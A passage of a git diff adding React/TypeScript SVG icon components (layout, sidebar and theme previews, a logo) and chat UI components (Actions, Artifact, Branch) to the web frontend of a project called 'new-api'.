+        d='M39.22 15.99h-8.16c-.79 0-1.43-.67-1.43-1.5s.64-1.5 1.43-1.5h8.16c.79 0 1.43.67 1.43 1.5s-.64 1.5-1.43 1.5z'
+        opacity={0.75}
+      />
+      <rect
+        x={29.63}
+        y={18.39}
+        width={16.72}
+        height={2.73}
+        rx={1.36}
+        ry={1.36}
+        opacity={0.5}
+      />
+      <path
+        d='M75.1 6.68v1.45c0 .63-.49 1.14-1.09 1.14H30.72c-.6 0-1.09-.51-1.09-1.14V6.68c0-.62.49-1.14 1.09-1.14h43.29c.6 0 1.09.52 1.09 1.14z'
+        opacity={0.9}
+      />
+      <rect
+        x={29.63}
+        y={24.22}
+        width={21.8}
+        height={19.95}
+        rx={2.11}
+        ry={2.11}
+        opacity={0.4}
+      />
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <rect
+          x={61.06}
+          y={38.15}
+          width={2.01}
+          height={3.42}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.32}
+        />
+        <rect
+          x={56.78}
+          y={34.99}
+          width={2.01}
+          height={6.58}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.44}
+        />
+        <rect
+          x={65.17}
+          y={32.86}
+          width={2.01}
+          height={8.7}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+        <rect
+          x={69.55}
+          y={29.17}
+          width={2.01}
+          height={12.4}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.66}
+        />
+      </g>
+      <g opacity={0.5}>
+        <circle cx={63.17} cy={18.63} r={7.5} />
+        <path d='M63.17 11.63c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-1c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8z' />
+      </g>
+      <g opacity={0.74}>
+        <path d='M64.05 18.13l3.38-5.67c.93.64 1.7 1.48 2.26 2.47.56.98.89 2.08.96 3.21h-6.6z' />
+        <path d='M67.57 13.19a6.977 6.977 0 012.52 4.44h-5.17l2.65-4.44m-.31-1.43l-4.1 6.87h8c0-1.39-.36-2.75-1.04-3.95a8.007 8.007 0 00-2.86-2.92z' />
+      </g>
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <rect
+          x={5.84}
+          y={5.02}
+          width={19.14}
+          height={40}
+          rx={2}
+          ry={2}
+          opacity={0.8}
+        />
+        <g stroke='#fff'>
+          <path
+            fill='none'
+            opacity={0.72}
+            strokeWidth='2px'
+            d='M9.02 17.39L21.25 17.39'
+          />
+          <path
+            fill='none'
+            opacity={0.48}
+            strokeWidth='2px'
+            d='M9.02 24.6L19.54 24.6'
+          />
+          <path
+            fill='none'
+            opacity={0.55}
+            strokeWidth='2px'
+            d='M9.02 20.88L18.4 20.88'
+          />
+          <circle cx={10.98} cy={9.91} r={2.54} fill='#fff' opacity={0.8} />
+          <path
+            fill='none'
+            opacity={0.8}
+            strokeWidth='2px'
+            d='M15.53 8.65L21.25 8.65'
+          />
+          <path fill='none' opacity={0.6} d='M15.32 11.3L20.38 11.3' />
+        </g>
+      </g>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-layout-full.tsx b/new-api/web/default/src/assets/custom/icon-layout-full.tsx
new file mode 100644
index 0000000..cdb5313
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-layout-full.tsx
@@ -0,0 +1,100 @@
+import { type SVGProps } from 'react'
+
+export function IconLayoutFull(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-layout-full'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <path
+        fill='none'
+        opacity={0.75}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='3px'
+        d='M6.85 14.49L15.02 14.49'
+      />
+      <rect
+        x={5.84}
+        y={18.39}
+        width={25.6}
+        height={2.73}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.5}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={5.84}
+        y={5.89}
+        width={68.26}
+        height={2.73}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.9}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={5.84}
+        y={24.22}
+        width={37.71}
+        height={19.95}
+        rx={2.11}
+        ry={2.11}
+        opacity={0.4}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <rect
+          x={59.05}
+          y={38.15}
+          width={2.01}
+          height={3.42}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.32}
+        />
+        <rect
+          x={54.78}
+          y={34.99}
+          width={2.01}
+          height={6.58}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.44}
+        />
+        <rect
+          x={63.17}
+          y={32.86}
+          width={2.01}
+          height={8.7}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+        <rect
+          x={67.54}
+          y={29.17}
+          width={2.01}
+          height={12.4}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.66}
+        />
+      </g>
+      <g opacity={0.5}>
+        <circle cx={62.16} cy={18.63} r={7.5} />
+        <path d='M62.16 11.63c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.14-7-7 3.14-7 7-7m0-1c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8z' />
+      </g>
+      <g opacity={0.74}>
+        <path d='M63.04 18.13l3.38-5.67c.93.64 1.7 1.48 2.26 2.47.56.98.89 2.08.96 3.21h-6.6z' />
+        <path d='M66.57 13.19a6.977 6.977 0 012.52 4.44h-5.17l2.65-4.44m-.31-1.43l-4.1 6.87h8c0-1.39-.36-2.75-1.04-3.95a8.007 8.007 0 00-2.86-2.92z' />
+      </g>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-sidebar-floating.tsx b/new-api/web/default/src/assets/custom/icon-sidebar-floating.tsx
new file mode 100644
index 0000000..2bfe4a6
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-sidebar-floating.tsx
@@ -0,0 +1,82 @@
+import { type SVGProps } from 'react'
+
+export function IconSidebarFloating(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-sidebar-floating'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <rect
+        x={5.89}
+        y={5.15}
+        width={19.74}
+        height={40}
+        rx={2}
+        ry={2}
+        opacity={0.8}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <g stroke='#fff' strokeLinecap='round' strokeMiterlimit={10}>
+        <path
+          fill='none'
+          opacity={0.72}
+          strokeWidth='2px'
+          d='M9.81 18.36L22.04 18.36'
+        />
+        <path
+          fill='none'
+          opacity={0.48}
+          strokeWidth='2px'
+          d='M9.81 25.57L20.33 25.57'
+        />
+        <path
+          fill='none'
+          opacity={0.55}
+          strokeWidth='2px'
+          d='M9.81 21.85L19.18 21.85'
+        />
+        <circle cx={11.76} cy={10.88} r={2.54} fill='#fff' opacity={0.8} />
+        <path
+          fill='none'
+          opacity={0.8}
+          strokeWidth='2px'
+          d='M16.31 9.62L22.04 9.62'
+        />
+        <path fill='none' opacity={0.6} d='M16.1 12.27L21.16 12.27' />
+      </g>
+      <path
+        fill='none'
+        opacity={0.62}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='3px'
+        d='M30.59 9.62L35.85 9.62'
+      />
+      <rect
+        x={29.94}
+        y={13.42}
+        width={26.03}
+        height={2.73}
+        rx={0.64}
+        ry={0.64}
+        opacity={0.44}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <rect
+        x={29.94}
+        y={19.28}
+        width={43.11}
+        height={25.87}
+        rx={2}
+        ry={2}
+        opacity={0.3}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-sidebar-inset.tsx b/new-api/web/default/src/assets/custom/icon-sidebar-inset.tsx
new file mode 100644
index 0000000..695b7b7
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-sidebar-inset.tsx
@@ -0,0 +1,58 @@
+import { type SVGProps } from 'react'
+
+export function IconSidebarInset(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-sidebar-inset'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <rect
+        x={23.39}
+        y={5.57}
+        width={50.22}
+        height={40}
+        rx={2}
+        ry={2}
+        opacity={0.2}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <path
+        fill='none'
+        opacity={0.72}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.08 17.05L17.31 17.05'
+      />
+      <path
+        fill='none'
+        opacity={0.48}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.08 24.25L15.6 24.25'
+      />
+      <path
+        fill='none'
+        opacity={0.55}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.08 20.54L14.46 20.54'
+      />
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <circle cx={7.04} cy={9.57} r={2.54} opacity={0.8} />
+        <path
+          fill='none'
+          opacity={0.8}
+          strokeWidth='2px'
+          d='M11.59 8.3L17.31 8.3'
+        />
+        <path fill='none' opacity={0.6} d='M11.38 10.95L16.44 10.95' />
+      </g>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-sidebar-sidebar.tsx b/new-api/web/default/src/assets/custom/icon-sidebar-sidebar.tsx
new file mode 100644
index 0000000..b049d7c
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-sidebar-sidebar.tsx
@@ -0,0 +1,53 @@
+import { type SVGProps } from 'react'
+
+export function IconSidebarSidebar(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-sidebar-sidebar'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <path
+        d='M23.42.51h51.99c2.21 0 4 1.79 4 4v42.18c0 2.21-1.79 4-4 4H23.42s-.04-.02-.04-.04V.55s.02-.04.04-.04z'
+        opacity={0.2}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <path
+        fill='none'
+        opacity={0.72}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.56 14.88L17.78 14.88'
+      />
+      <path
+        fill='none'
+        opacity={0.48}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.56 22.09L16.08 22.09'
+      />
+      <path
+        fill='none'
+        opacity={0.55}
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+        strokeWidth='2px'
+        d='M5.56 18.38L14.93 18.38'
+      />
+      <g strokeLinecap='round' strokeMiterlimit={10}>
+        <circle cx={7.51} cy={7.4} r={2.54} opacity={0.8} />
+        <path
+          fill='none'
+          opacity={0.8}
+          strokeWidth='2px'
+          d='M12.06 6.14L17.78 6.14'
+        />
+        <path fill='none' opacity={0.6} d='M11.85 8.79L16.91 8.79' />
+      </g>
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-theme-dark.tsx b/new-api/web/default/src/assets/custom/icon-theme-dark.tsx
new file mode 100644
index 0000000..b9ea2eb
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-theme-dark.tsx
@@ -0,0 +1,79 @@
+import { type SVGProps } from 'react'
+
+export function IconThemeDark(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-theme-dark'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <g fill='#1d2b3f'>
+        <rect x={0.53} y={0.5} width={78.83} height={50.14} rx={3.5} ry={3.5} />
+        <path d='M75.86 1c1.65 0 3 1.35 3 3v43.14c0 1.65-1.35 3-3 3H4.03c-1.65 0-3-1.35-3-3V4c0-1.65 1.35-3 3-3h71.83m0-1H4.03c-2.21 0-4 1.79-4 4v43.14c0 2.21 1.79 4 4 4h71.83c2.21 0 4-1.79 4-4V4c0-2.21-1.79-4-4-4z' />
+      </g>
+      <path
+        d='M22.88 0h52.97c2.21 0 4 1.79 4 4v43.14c0 2.21-1.79 4-4 4H22.88V0z'
+        fill='#0d1628'
+      />
+      <circle cx={6.7} cy={7.04} r={3.54} fill='#426187' />
+      <path
+        d='M18.12 6.39h-5.87c-.6 0-1.09-.45-1.09-1s.49-1 1.09-1h5.87c.6 0 1.09.45 1.09 1s-.49 1-1.09 1zM16.55 9.77h-4.24c-.55 0-1-.45-1-1s.45-1 1-1h4.24c.55 0 1 .45 1 1s-.45 1-1 1zM18.32 17.37H4.59c-.69 0-1.25-.47-1.25-1.05s.56-1.05 1.25-1.05h13.73c.69 0 1.25.47 1.25 1.05s-.56 1.05-1.25 1.05zM15.34 21.26h-11c-.55 0-1-.41-1-.91s.45-.91 1-.91h11c.55 0 1 .41 1 .91s-.45.91-1 .91zM16.46 25.57H4.43c-.6 0-1.09-.44-1.09-.98s.49-.98 1.09-.98h12.03c.6 0 1.09.44 1.09.98s-.49.98-1.09.98z'
+        fill='#426187'
+      />
+      <g fill='#2a62bc'>
+        <rect
+          x={33.36}
+          y={19.73}
+          width={2.75}
+          height={3.42}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.32}
+        />
+        <rect
+          x={29.64}
+          y={16.57}
+          width={2.75}
+          height={6.58}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.44}
+        />
+        <rect
+          x={37.16}
+          y={14.44}
+          width={2.75}
+          height={8.7}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+        <rect
+          x={41.19}
+          y={10.75}
+          width={2.75}
+          height={12.4}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+      </g>
+      <circle cx={62.74} cy={16.32} r={8} fill='#2f5491' opacity={0.5} />
+      <path
+        d='M62.74 16.32l4.1-6.87c1.19.71 2.18 1.72 2.86 2.92s1.04 2.57 1.04 3.95h-8z'
+        fill='#2f5491'
+        opacity={0.74}
+      />
+      <rect
+        x={29.64}
+        y={27.75}
+        width={41.62}
+        height={18.62}
+        rx={1.69}
+        ry={1.69}
+        fill='#17273f'
+      />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-theme-light.tsx b/new-api/web/default/src/assets/custom/icon-theme-light.tsx
new file mode 100644
index 0000000..7e9c50d
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-theme-light.tsx
@@ -0,0 +1,78 @@
+import { type SVGProps } from 'react'
+
+export function IconThemeLight(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-theme-light'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      {...props}
+    >
+      <g fill='#d9d9d9'>
+        <rect x={0.53} y={0.5} width={78.83} height={50.14} rx={3.5} ry={3.5} />
+        <path d='M75.86 1c1.65 0 3 1.35 3 3v43.14c0 1.65-1.35 3-3 3H4.03c-1.65 0-3-1.35-3-3V4c0-1.65 1.35-3 3-3h71.83m0-1H4.03c-2.21 0-4 1.79-4 4v43.14c0 2.21 1.79 4 4 4h71.83c2.21 0 4-1.79 4-4V4c0-2.21-1.79-4-4-4z' />
+      </g>
+      <path
+        d='M22.88 0h52.97c2.21 0 4 1.79 4 4v43.14c0 2.21-1.79 4-4 4H22.88V0z'
+        fill='#ecedef'
+      />
+      <circle cx={6.7} cy={7.04} r={3.54} fill='#fff' />
+      <path
+        d='M18.12 6.39h-5.87c-.6 0-1.09-.45-1.09-1s.49-1 1.09-1h5.87c.6 0 1.09.45 1.09 1s-.49 1-1.09 1zM16.55 9.77h-4.24c-.55 0-1-.45-1-1s.45-1 1-1h4.24c.55 0 1 .45 1 1s-.45 1-1 1zM18.32 17.37H4.59c-.69 0-1.25-.47-1.25-1.05s.56-1.05 1.25-1.05h13.73c.69 0 1.25.47 1.25 1.05s-.56 1.05-1.25 1.05zM15.34 21.26h-11c-.55 0-1-.41-1-.91s.45-.91 1-.91h11c.55 0 1 .41 1 .91s-.45.91-1 .91zM16.46 25.57H4.43c-.6 0-1.09-.44-1.09-.98s.49-.98 1.09-.98h12.03c.6 0 1.09.44 1.09.98s-.49.98-1.09.98z'
+        fill='#fff'
+      />
+      <g fill='#c0c4c4'>
+        <rect
+          x={33.36}
+          y={19.73}
+          width={2.75}
+          height={3.42}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.32}
+        />
+        <rect
+          x={29.64}
+          y={16.57}
+          width={2.75}
+          height={6.58}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.44}
+        />
+        <rect
+          x={37.16}
+          y={14.44}
+          width={2.75}
+          height={8.7}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+        <rect
+          x={41.19}
+          y={10.75}
+          width={2.75}
+          height={12.4}
+          rx={0.33}
+          ry={0.33}
+          opacity={0.53}
+        />
+      </g>
+      <circle cx={62.74} cy={16.32} r={8} fill='#fff' />
+      <g fill='#d9d9d9'>
+        <path d='M63.62 15.82L67 10.15c.93.64 1.7 1.48 2.26 2.47.56.98.89 2.08.96 3.21h-6.6z' />
+        <path d='M67.14 10.88a6.977 6.977 0 012.52 4.44h-5.17l2.65-4.44m-.31-1.43l-4.1 6.87h8c0-1.39-.36-2.75-1.04-3.95s-1.67-2.21-2.86-2.92z' />
+      </g>
+      <rect
+        x={29.64}
+        y={27.75}
+        width={41.62}
+        height={18.62}
+        rx={1.69}
+        ry={1.69}
+        fill='#fff'
+      />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/custom/icon-theme-system.tsx b/new-api/web/default/src/assets/custom/icon-theme-system.tsx
new file mode 100644
index 0000000..4c4205b
--- /dev/null
+++ b/new-api/web/default/src/assets/custom/icon-theme-system.tsx
@@ -0,0 +1,116 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconThemeSystem({
+  className,
+  ...props
+}: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      data-name='icon-theme-system'
+      xmlns='http://www.w3.org/2000/svg'
+      viewBox='0 0 79.86 51.14'
+      className={cn(
+        'overflow-hidden rounded-[6px]',
+        'stroke-primary fill-primary group-data-[state=unchecked]:stroke-muted-foreground group-data-[state=unchecked]:fill-muted-foreground',
+        className
+      )}
+      {...props}
+    >
+      <path opacity={0.2} d='M0 0.03H22.88V51.17H0z' />
+      <circle
+        cx={6.7}
+        cy={7.04}
+        r={3.54}
+        fill='#fff'
+        opacity={0.8}
+        stroke='#fff'
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+      <path
+        d='M18.12 6.39h-5.87c-.6 0-1.09-.45-1.09-1s.49-1 1.09-1h5.87c.6 0 1.09.45 1.09 1s-.49 1-1.09 1zM16.55 9.77h-4.24c-.55 0-1-.45-1-1s.45-1 1-1h4.24c.55 0 1 .45 1 1s-.45 1-1 1z'
+        fill='#fff'
+        stroke='none'
+        opacity={0.75}
+      />
+      <path
+        d='M18.32 17.37H4.59c-.69 0-1.25-.47-1.25-1.05s.56-1.05 1.25-1.05h13.73c.69 0 1.25.47 1.25 1.05s-.56 1.05-1.25 1.05z'
+        fill='#fff'
+        stroke='none'
+        opacity={0.72}
+      />
+      <path
+        d='M15.34 21.26h-11c-.55 0-1-.41-1-.91s.45-.91 1-.91h11c.55 0 1 .41 1 .91s-.45.91-1 .91z'
+        fill='#fff'
+        stroke='none'
+        opacity={0.55}
+      />
+      <path
+        d='M16.46 25.57H4.43c-.6 0-1.09-.44-1.09-.98s.49-.98 1.09-.98h12.03c.6 0 1.09.44 1.09.98s-.49.98-1.09.98z'
+        fill='#fff'
+        stroke='none'
+        opacity={0.67}
+      />
+      <rect
+        x={33.36}
+        y={19.73}
+        width={2.75}
+        height={3.42}
+        rx={0.33}
+        ry={0.33}
+        opacity={0.31}
+        stroke='none'
+      />
+      <rect
+        x={29.64}
+        y={16.57}
+        width={2.75}
+        height={6.58}
+        rx={0.33}
+        ry={0.33}
+        opacity={0.4}
+        stroke='none'
+      />
+      <rect
+        x={37.16}
+        y={14.44}
+        width={2.75}
+        height={8.7}
+        rx={0.33}
+        ry={0.33}
+        opacity={0.26}
+        stroke='none'
+      />
+      <rect
+        x={41.19}
+        y={10.75}
+        width={2.75}
+        height={12.4}
+        rx={0.33}
+        ry={0.33}
+        opacity={0.37}
+        stroke='none'
+      />
+      <g>
+        <circle cx={62.74} cy={16.32} r={8} opacity={0.25} />
+        <path
+          d='M62.74 16.32l4.1-6.87c1.19.71 2.18 1.72 2.86 2.92s1.04 2.57 1.04 3.95h-8z'
+          opacity={0.45}
+        />
+      </g>
+      <rect
+        x={29.64}
+        y={27.75}
+        width={41.62}
+        height={18.62}
+        rx={1.69}
+        ry={1.69}
+        opacity={0.3}
+        stroke='none'
+        strokeLinecap='round'
+        strokeMiterlimit={10}
+      />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/logo.tsx b/new-api/web/default/src/assets/logo.tsx
new file mode 100644
index 0000000..a4e6384
--- /dev/null
+++ b/new-api/web/default/src/assets/logo.tsx
@@ -0,0 +1,24 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function Logo({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      id='newapi-logo'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      height='24'
+      width='24'
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      className={cn('size-6', className)}
+      {...props}
+    >
+      <title>New API</title>
+      <path d='M15 6v12a3 3 0 1 0 3-3H6a3 3 0 1 0 3 3V6a3 3 0 1 0-3 3h12a3 3 0 1 0-3-3' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/actions.tsx b/new-api/web/default/src/components/ai-elements/actions.tsx
new file mode 100644
index 0000000..bc0f574
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/actions.tsx
@@ -0,0 +1,65 @@
+'use client'
+
+import type { ComponentProps } from 'react'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+export type ActionsProps = ComponentProps<'div'>
+
+export const Actions = ({ className, children, ...props }: ActionsProps) => (
+  <div className={cn('flex items-center gap-1', className)} {...props}>
+    {children}
+  </div>
+)
+
+export type ActionProps = ComponentProps<typeof Button> & {
+  tooltip?: string
+  label?: string
+}
+
+export const Action = ({
+  tooltip,
+  children,
+  label,
+  className,
+  variant = 'ghost',
+  size = 'sm',
+  ...props
+}: ActionProps) => {
+  const button = (
+    <Button
+      className={cn(
+        'text-muted-foreground hover:text-foreground relative size-9 p-1.5',
+        className
+      )}
+      size={size}
+      type='button'
+      variant={variant}
+      {...props}
+    >
+      {children}
+      <span className='sr-only'>{label || tooltip}</span>
+    </Button>
+  )
+
+  if (tooltip) {
+    return (
+      <TooltipProvider>
+        <Tooltip>
+          <TooltipTrigger asChild>{button}</TooltipTrigger>
+          <TooltipContent>
+            <p>{tooltip}</p>
+          </TooltipContent>
+        </Tooltip>
+      </TooltipProvider>
+    )
+  }
+
+  return button
+}
diff --git a/new-api/web/default/src/components/ai-elements/artifact.tsx b/new-api/web/default/src/components/ai-elements/artifact.tsx
new file mode 100644
index 0000000..c08d240
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/artifact.tsx
@@ -0,0 +1,151 @@
+'use client'
+
+import type { ComponentProps, HTMLAttributes } from 'react'
+import { type LucideIcon, XIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+export type ArtifactProps = HTMLAttributes<HTMLDivElement>
+
+export const Artifact = ({ className, ...props }: ArtifactProps) => (
+  <div
+    className={cn(
+      'bg-background flex flex-col overflow-hidden rounded-lg border shadow-sm',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type ArtifactHeaderProps = HTMLAttributes<HTMLDivElement>
+
+export const ArtifactHeader = ({
+  className,
+  ...props
+}: ArtifactHeaderProps) => (
+  <div
+    className={cn(
+      'bg-muted/50 flex items-center justify-between border-b px-4 py-3',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type ArtifactCloseProps = ComponentProps<typeof Button>
+
+export const ArtifactClose = ({
+  className,
+  children,
+  size = 'sm',
+  variant = 'ghost',
+  ...props
+}: ArtifactCloseProps) => {
+  const { t } = useTranslation()
+  return (
+    <Button
+      className={cn(
+        'text-muted-foreground hover:text-foreground size-8 p-0',
+        className
+      )}
+      size={size}
+      type='button'
+      variant={variant}
+      {...props}
+    >
+      {children ?? <XIcon className='size-4' />}
+      <span className='sr-only'>{t('Close')}</span>
+    </Button>
+  )
+}
+
+export type ArtifactTitleProps = HTMLAttributes<HTMLParagraphElement>
+
+export const ArtifactTitle = ({ className, ...props }: ArtifactTitleProps) => (
+  <p
+    className={cn('text-foreground text-sm font-medium', className)}
+    {...props}
+  />
+)
+
+export type ArtifactDescriptionProps = HTMLAttributes<HTMLParagraphElement>
+
+export const ArtifactDescription = ({
+  className,
+  ...props
+}: ArtifactDescriptionProps) => (
+  <p className={cn('text-muted-foreground text-sm', className)} {...props} />
+)
+
+export type ArtifactActionsProps = HTMLAttributes<HTMLDivElement>
+
+export const ArtifactActions = ({
+  className,
+  ...props
+}: ArtifactActionsProps) => (
+  <div className={cn('flex items-center gap-1', className)} {...props} />
+)
+
+export type ArtifactActionProps = ComponentProps<typeof Button> & {
+  tooltip?: string
+  label?: string
+  icon?: LucideIcon
+}
+
+export const ArtifactAction = ({
+  tooltip,
+  label,
+  icon: Icon,
+  children,
+  className,
+  size = 'sm',
+  variant = 'ghost',
+  ...props
+}: ArtifactActionProps) => {
+  const button = (
+    <Button
+      className={cn(
+        'text-muted-foreground hover:text-foreground size-8 p-0',
+        className
+      )}
+      size={size}
+      type='button'
+      variant={variant}
+      {...props}
+    >
+      {Icon ? <Icon className='size-4' /> : children}
+      <span className='sr-only'>{label || tooltip}</span>
+    </Button>
+  )
+
+  if (tooltip) {
+    return (
+      <TooltipProvider>
+        <Tooltip>
+          <TooltipTrigger asChild>{button}</TooltipTrigger>
+          <TooltipContent>
+            <p>{tooltip}</p>
+          </TooltipContent>
+        </Tooltip>
+      </TooltipProvider>
+    )
+  }
+
+  return button
+}
+
+export type ArtifactContentProps = HTMLAttributes<HTMLDivElement>
+
+export const ArtifactContent = ({
+  className,
+  ...props
+}: ArtifactContentProps) => (
+  <div className={cn('flex-1 overflow-auto p-4', className)} {...props} />
+)
diff --git a/new-api/web/default/src/components/ai-elements/branch.tsx b/new-api/web/default/src/components/ai-elements/branch.tsx
new file mode 100644
index 0000000..2388719
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/branch.tsx
@@ -0,0 +1,227 @@
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  type HTMLAttributes,
+  type ReactElement,
+  useContext,
+  useEffect,
+  useMemo,
+  useState,
+} from 'react'
+import type { UIMessage } from 'ai'
+import { ChevronLeftIcon, ChevronRightIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+
+type BranchContextType = {
+  currentBranch: number
+  totalBranches: number
+  goToPrevious: () => void
+  goToNext: () => void
+  branches: ReactElement[]
+  setBranches: (branches: ReactElement[]) => void
+}
+
+const BranchContext = createContext<BranchContextType | null>(null)
+
+const useBranch = () => {
+  const context = useContext(BranchContext)
+
+  if (!context) {
+    throw new Error('Branch components must be used within Branch')
+  }
+
+  return context
+}
+
+export type BranchProps = HTMLAttributes<HTMLDivElement> & {
+  defaultBranch?: number
+  onBranchChange?: (branchIndex: number) => void
+}
+
+export const Branch = ({
+  defaultBranch = 0,
+  onBranchChange,
+  className,
+  ...props
+}: BranchProps) => {
+  const [currentBranch, setCurrentBranch] = useState(defaultBranch)
+  const [branches, setBranches] = useState<ReactElement[]>([])
+
+  const handleBranchChange = (newBranch: number) => {
+    setCurrentBranch(newBranch)
+    onBranchChange?.(newBranch)
+  }
+
+  const goToPrevious = () => {
+    const newBranch =
+      currentBranch > 0 ? currentBranch - 1 : branches.length - 1
+    handleBranchChange(newBranch)
+  }
+
+  const goToNext = () => {
+    const newBranch =
+      currentBranch < branches.length - 1 ? currentBranch + 1 : 0
+    handleBranchChange(newBranch)
+  }
+
+  const contextValue: BranchContextType = {
+    currentBranch,
+    totalBranches: branches.length,
+    goToPrevious,
+    goToNext,
+    branches,
+    setBranches,
+  }
+
+  return (
+    <BranchContext.Provider value={contextValue}>
+      <div
+        className={cn('grid w-full gap-2 [&>div]:pb-0', className)}
+        {...props}
+      />
+    </BranchContext.Provider>
+  )
+}
+
+export type BranchMessagesProps = HTMLAttributes<HTMLDivElement>
+
+export const BranchMessages = ({ children, ...props }: BranchMessagesProps) => {
+  const { currentBranch, setBranches, branches } = useBranch()
+  const childrenArray = useMemo(
+    () => (Array.isArray(children) ? children : [children]),
+    [children]
+  )
+
+  // Use useEffect to update branches when they change
+  useEffect(() => {
+    if (branches.length !== childrenArray.length) {
+      setBranches(childrenArray)
+    }
